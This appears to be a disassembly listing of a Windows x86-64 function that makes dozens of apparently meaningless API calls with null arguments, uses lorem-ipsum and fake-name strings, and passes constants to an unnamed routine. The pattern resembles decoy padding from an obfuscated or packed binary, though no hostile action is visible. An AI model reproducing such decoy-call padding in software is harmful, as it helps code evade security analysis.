xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004caca0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca620]
lea rcx, str.Pariatur_sequi_sed_sint_autem_minima_corrupti_ullam_aperiam_illum
mov dword [rdx], eax
mov rax, qword [0x004ca5a0]
mov edx, dword [rax]
mov rax, qword [0x004caa70]
mov dword [rax], edx
mov rax, qword [0x004cae60]
lea rdx, str.IvaLuettgen
mov dword [rax], 0xbf569fc7
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call rdi
mov rax, qword [0x004ca420]
mov rdx, qword [0x004caee0]
xor ecx, ecx
lea r8, str.EldoraSchumm
mov dword [rax], 0x7d94e70e
mov rax, qword [0x004ca9a0]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x78]
call rax
xor edx, edx
lea rcx, str.MadonnaLemke
call rbx
mov rax, qword [0x004ca3a0]
mov rcx, qword [0x004caf50]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov ecx, 0x8242277f
call fcn.00414620
mov rdx, qword [0x004ca520]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov r10, qword [rsp + 0x80]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r10
mov rax, qword [rsp + 0x70]
xor ecx, ecx
call rax
mov rax, qword [0x004ca450]
mov dword [rax], 0x80488b01
mov rax, qword [0x004ca590]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad20]
mov rdi, qword [0x004cae40]
mov dword [rdx], eax
mov rax, qword [0x004cab60]
mov edx, dword [rax]
mov rax, qword [0x004caec0]
mov dword [rax], edx
mov rax, qword [0x004cae90]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004caeb0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca530]
mov dword [rdx], eax
mov rax, qword [0x004ca7a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca330]
xor edx, edx
xor ecx, ecx
mov r11, qword [rsp + 0x68]
mov dword [rdi], eax
call r11
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor edx, edx
lea rcx, str.Aliquid_assumenda_odit_ratione_nisi_nihil_unde_ut_corporis_et
call rbx
xor ecx, ecx
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
mov rcx, qword [rsp + 0x60]
call sub.msvcrt.dll_free
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x421a7c
mov rax, qword [0x004ca450]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov dword [rax], 0xed2af537
call rdi
mov ecx, 0x4bfaffa4
call fcn.00414620
mov rdx, qword [0x004ca3a0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetCommMask]
mov rax, qword [0x004ca550]
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca7b0]
mov dword [rax], edx
call r13
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
mov rsi, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rsi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca240]
mov rbx, qword [0x004ca290]
lea rdx, str.Autem_perferendis_aut_earum_tempora_corrupti_repellat_omnis_facere_hic
lea rcx, str.MrLewisCasper
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004ca500]
mov rbx, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov dword [rax], 0x6fdc0f14
call rbx
mov rax, qword [0x004cadc0]
lea r8, str.Eius_eveniet_consequatur
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov edx, dword [rax]
mov rax, qword [0x004cab50]
mov dword [rax], edx
xor edx, edx
call r12
mov ecx, 0x2f166a4
call fcn.00414620
mov rdx, qword [0x004cac00]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov rbp, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rbp
mov r15, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.MitchellKuhic
call r15
lea rdx, str.NameHoppe
lea rcx, str.ProfDeangeloBernhard
call rbx
mov ecx, 0xbcc33506
call fcn.00414620
mov r14, qword [0x004ca1b0]
xor ecx, ecx
mov dword [r14], eax
mov rax, qword [0x004ca5a0]
mov edx, dword [rax]
mov rax, qword [0x004ca5f0]
mov dword [rax], edx
call rbp
mov rax, qword [0x004ca6b0]
mov dword [r14], 0x9e24d9a9
lea rcx, str.NyahDareIV
mov r14, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov edx, dword [rax]
mov rax, qword [0x004ca7e0]
mov dword [rax], edx
xor edx, edx
call r14
mov rax, qword [0x004caae0]
mov r10, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cabf0]
mov qword [rsp + 0x50], r10
mov dword [rax], edx
xor edx, edx
call r10
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call r13
xor ecx, ecx
call rbp
mov rax, qword [0x004cabc0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca260]
mov dword [rax], edx
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov rax, qword [str.7U5]
lea rcx, str.KyleAbernathy
mov edx, dword [rax]
mov rax, qword [0x004ca2b0]
mov dword [rax], edx
mov rax, qword [0x004ca1d0]
mov edx, dword [rax]
mov rax, qword [0x004caea0]
mov dword [rax], edx
lea rdx, str.KaydenWisoky
call rbx
mov r11, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], r11
call r11
xor ecx, ecx
call r13
mov rax, qword [0x004cae40]
xor edx, edx
xor ecx, ecx
lea r8, str.FeliciaBednar
mov dword [rax], 0x30ce9363
call r12
mov rax, qword [0x004caba0]
lea rcx, str.MrShadMills
mov dword [rax], 0x6b46d0d5
call r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
mov ecx, 0x6c507aee
call fcn.00414620
mov rdx, qword [0x004ca6b0]
mov r10, qword [rsp + 0x50]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r10
mov rax, qword [0x004ca3f0]
lea rcx, str.EleanoreSporer
mov edx, dword [rax]
mov rax, qword [0x004cadd0]
mov dword [rax], edx
xor edx, edx
call r14
mov r13, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Ipsam_nihil_vitae_sed_quidem_repudiandae_doloremque_praesentium
call r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [0x004ca420]
mov ecx, 0xac2fdba7
mov dword [rax], 0x9364bd8e
call fcn.00414620
mov rcx, qword [0x004ca540]
mov dword [rcx], eax
mov ecx, 0xc064a984
call fcn.00414620
mov r9, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rdx, qword [0x004cac20]
xor ecx, ecx
mov qword [rsp + 0x50], r9
mov dword [rdx], eax
call r9
mov ecx, 0xaac1e135
call fcn.00414620
mov rdx, qword [0x004ca6a0]
lea rcx, str.Consequatur_sunt_fuga_libero_beatae
mov dword [rdx], eax
lea rdx, str.LennaStrosin
call rbx
mov ecx, 0xcca590b0
call fcn.00414620
mov rdx, qword [0x004caf10]
lea rcx, str.NeilZiemann
mov dword [rdx], eax
call r13
mov r9, qword [rsp + 0x50]
xor ecx, ecx
call r9
mov ecx, 0x3b63a2dc
call fcn.00414620
mov rdx, qword [0x004ca780]
mov r13, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca700]
mov dword [rax], 0xc19b9c80
call r13
mov r10, qword [0x004cad40]
mov rax, qword [0x004ca410]
mov ecx, dword [r10]
mov dword [rax], ecx
mov rax, qword [0x004ca710]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3e0]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov rax, qword [0x004caaf0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf20]
mov dword [rdx], eax
mov rax, qword [0x004cab00]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca540]
mov dword [rcx], eax
mov ecx, 0x1900d0e7
call fcn.00414620
mov rdx, qword [0x004cad50]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rax, qword [0x004cad80]
mov rdx, qword [0x004ca240]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call r13
mov rax, qword [0x004ca290]
mov dword [rax], 0xfb764115
mov rax, qword [0x004ca390]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caeb0]
lea rcx, str.AglaeHessel
mov dword [rdx], eax
mov rax, qword [0x004ca4a0]
mov edx, dword [rax]
mov rax, qword [0x004ca820]
mov dword [rax], edx
mov rax, qword [0x004ca610]
lea rdx, str.Laudantium_voluptatum_aut_sequi_magni_voluptatem_ut_sunt_molestiae_consequatur_ipsa_nulla
mov dword [rax], 0xeee0c780
call rbx
xor ecx, ecx
call rbp
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
mov ecx, 0x675c3f1f
call fcn.00414620
mov rdx, qword [0x004cae30]
lea r8, str.Voluptatibus_accusamus_commodi_nulla_vero_et_aut
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
lea rdx, str.Distinctio_at_laudantium_aperiam_quam_nobis
lea rcx, str.Eaque_vel_ab_doloribus
call rbx
xor edx, edx
xor ecx, ecx
call rsi
mov r13, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r13
xor ecx, ecx
call r13
mov rax, qword [0x004cadf0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x62480b52
call rsi
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004cada0]
lea rdx, str.VanceKunzePhD
lea rcx, str.NathenSwiftMD
mov dword [rax], 0x84847286
call rbx
xor edx, edx
xor ecx, ecx
call rsi
xor ecx, ecx
call rbp
mov rax, qword [0x004caa90]
mov ecx, 0xe728696c
mov dword [rax], 0x208b0259
mov rax, qword [0x004cac60]
mov dword [rax], 0x710654ca
call fcn.00414620
mov rdx, qword [0x004cae80]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca200]
xor edx, edx
mov dword [rax], 0x975d8adb
call rdi
mov rax, qword [0x004ca810]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca210]
mov r9, qword [rsp + 0x50]
xor ecx, ecx
mov dword [rdx], eax
call r9
mov rax, qword [0x004ca5a0]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cad60]
mov rdi, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call rdi
mov rax, qword [0x004ca6a0]
lea rcx, str.Repellendus_et_velit_nemo_consequuntur_et_aut_sequi_non_natus_iusto
mov dword [rax], 0x5dbf1f0c
mov rax, qword [0x004cab00]
mov edx, dword [rax]
mov rax, qword [0x004cab70]
mov dword [rax], edx
call r15
mov r11, qword [rsp + 0x58]
xor edx, edx
xor ecx, ecx
call r11
mov rax, qword [0x004ca660]
mov dword [rax], 0x876993c6
mov rax, qword [0x004ca5a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac10]
mov dword [rdx], eax
mov rax, qword [0x004ca400]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa50]
xor ecx, ecx
mov dword [rdx], eax
call r13
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004caf80]
mov rsi, qword [0x004cab80]
xor ecx, ecx
lea r8, str.LailaSteuber
mov dword [rax], 0x1bc01ca3
mov edx, dword [rsi]
mov rax, qword [0x004cac90]
mov dword [rax], edx
xor edx, edx
call r12
mov rax, qword [0x004ca380]
mov ecx, dword [rax]
call fcn.00414620
mov r10, qword [0x004cad40]
mov edx, dword [rsi]
lea rcx, str.JaidaBins
mov dword [r10], eax
mov rax, qword [0x004ca990]
mov dword [rax], edx
lea rdx, str.Dolores_tempore_itaque
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rdi
lea rcx, str.MissKyraBeahan
xor edx, edx
call r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
nop
add rsp, 0x8a8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret